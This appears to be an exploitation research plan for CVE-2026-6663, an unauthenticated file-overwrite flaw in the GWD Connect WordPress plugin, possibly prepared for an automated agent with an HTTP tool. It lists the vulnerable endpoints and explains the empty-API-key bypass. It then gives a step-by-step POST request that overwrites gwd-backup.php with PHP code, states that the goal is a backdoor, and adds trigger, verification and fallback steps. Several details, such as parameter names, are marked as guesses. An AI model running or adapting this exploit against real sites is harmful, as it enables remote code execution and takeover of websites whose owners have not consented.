GWD Connect <= 2.9 - Unauthenticated Limited Code Execution via update_agent

This research plan targets CVE-2026-6663, a missing authorization vulnerability in the GWD Connect plugin. The vulnerability allows unauthenticated attackers to overwrite plugin files with arbitrary PHP code when the plugin is in its default, unconfigured state.

---

1. Vulnerability Summary

The GWD Connect plugin includes standalone PHP files (gwd-backup.php and gwd-logs.php) designed to act as "agents" for remote management. These files are intended to be secured by an API key. However, in versions up to 2.9, the logic fails to verify authentication if the API key has not yet been configured in the WordPress database (the default state). An attacker can invoke the update_agent action to overwrite the agent file itself with malicious PHP code, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoints:
  • /wp-content/plugins/graphic-web-design-inc/gwd-backup.php
  • /wp-content/plugins/graphic-web-design-inc/gwd-logs.php
• Vulnerable Action: update_agent
• Parameters:
  • action: Must be set to update_agent.
  • key: The API key (vulnerable when empty or omitted if the plugin is unconfigured).
  • code (inferred): The parameter containing the PHP code to be written to the file.
• Preconditions: The plugin must be installed, but the "GWD API Key" must not be set in the plugin settings.
• Authentication: None required (Unauthenticated).

3. Code Flow (Inferred from Description)

1. Entry Point: A direct request is made to gwd-backup.php. Because this is a standalone file, it likely does not load the full WordPress environment (wp-load.php) immediately, or it loads it after its own auth checks.
2. Auth Bypass: The script checks the provided key parameter against a stored option (e.g., get_option('gwd_api_key')). If the option is empty/false and the provided key is empty/false, the check passes.
3. Action Dispatch: The script checks $_REQUEST['action']. If it matches update_agent, it proceeds to the update logic.
4. The Sink: The script takes the content of a POST parameter (likely code or content) and writes it to the filesystem using file_put_contents(__FILE__, ...) or a similar file-system function, effectively overwriting itself.

4. Nonce Acquisition Strategy

According to the vulnerability description, these are standalone agent endpoints. These typically do not use WordPress nonces because they are designed to be accessed by external services using an API key.

• Is a Nonce Required? No. The authentication relies solely on the API key.
• Bypass: If the API key is not configured, the comparison if ($_POST['key'] == $stored_key) becomes if ("" == ""), which evaluates to true.

5. Exploitation Strategy

The goal is to overwrite gwd-backup.php with a simple PHP backdoor.

Step 1: Environment Check
Confirm the file is accessible and the API key is unconfigured.

• Request: GET /wp-content/plugins/graphic-web-design-inc/gwd-backup.php
• Expected: A 200 OK or a specific plugin-defined error message (e.g., "Invalid Key"), but not a 403 Forbidden.

Step 2: Execute Overwrite
Use the http_request tool to send a POST request containing the payload.

• Method: POST
• URL: http://vulnerable-site.tld/wp-content/plugins/graphic-web-design-inc/gwd-backup.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:

  action=update_agent&key=&code=<?php echo "VULN_VERIFIED"; phpinfo(); ?>
  

  (Note: The parameter name code is inferred; if this fails, try content, agent, or data).

Step 3: Trigger Payload
Access the file again to execute the injected code.

• Request: GET /wp-content/plugins/graphic-web-design-inc/gwd-backup.php
• Expected Response: "VULN_VERIFIED" followed by the PHP info page.

6. Test Data Setup

1. Install Plugin: Install "GWD Connect" version 2.9 or lower.
2. Ensure Unconfigured State:
   • Navigate to the plugin settings in the WP Admin.
   • Ensure the API Key field is blank.
   • If a key exists, use WP-CLI to clear it: wp option delete gwd_api_key (inferred option name).

7. Expected Results

• Success: The HTTP response from the second visit to gwd-backup.php contains the string "VULN_VERIFIED".
• Failure: The response remains unchanged, or the server returns a 403/500 error indicating the file write failed due to permissions or the action name was incorrect.

8. Verification Steps

After the exploit, verify the filesystem state using WP-CLI:

# Check if the file content has been modified
cat /var/www/html/wp-content/plugins/graphic-web-design-inc/gwd-backup.php

The output should be exactly the payload sent in Step 2.

9. Alternative Approaches

If the update_agent action does not use the code parameter:

1. Grep for Sinks: Search the plugin folder for file_put_contents or fwrite to identify the correct parameter name.

   grep -rn "file_put_contents" /var/www/html/wp-content/plugins/graphic-web-design-inc/
   

2. Try gwd-logs.php: The vulnerability is reported in both files. If one has restricted permissions, the other might be writable.
3. Variable Override: If the plugin uses extract($_POST), attempt to overwrite the configuration variable directly in the request.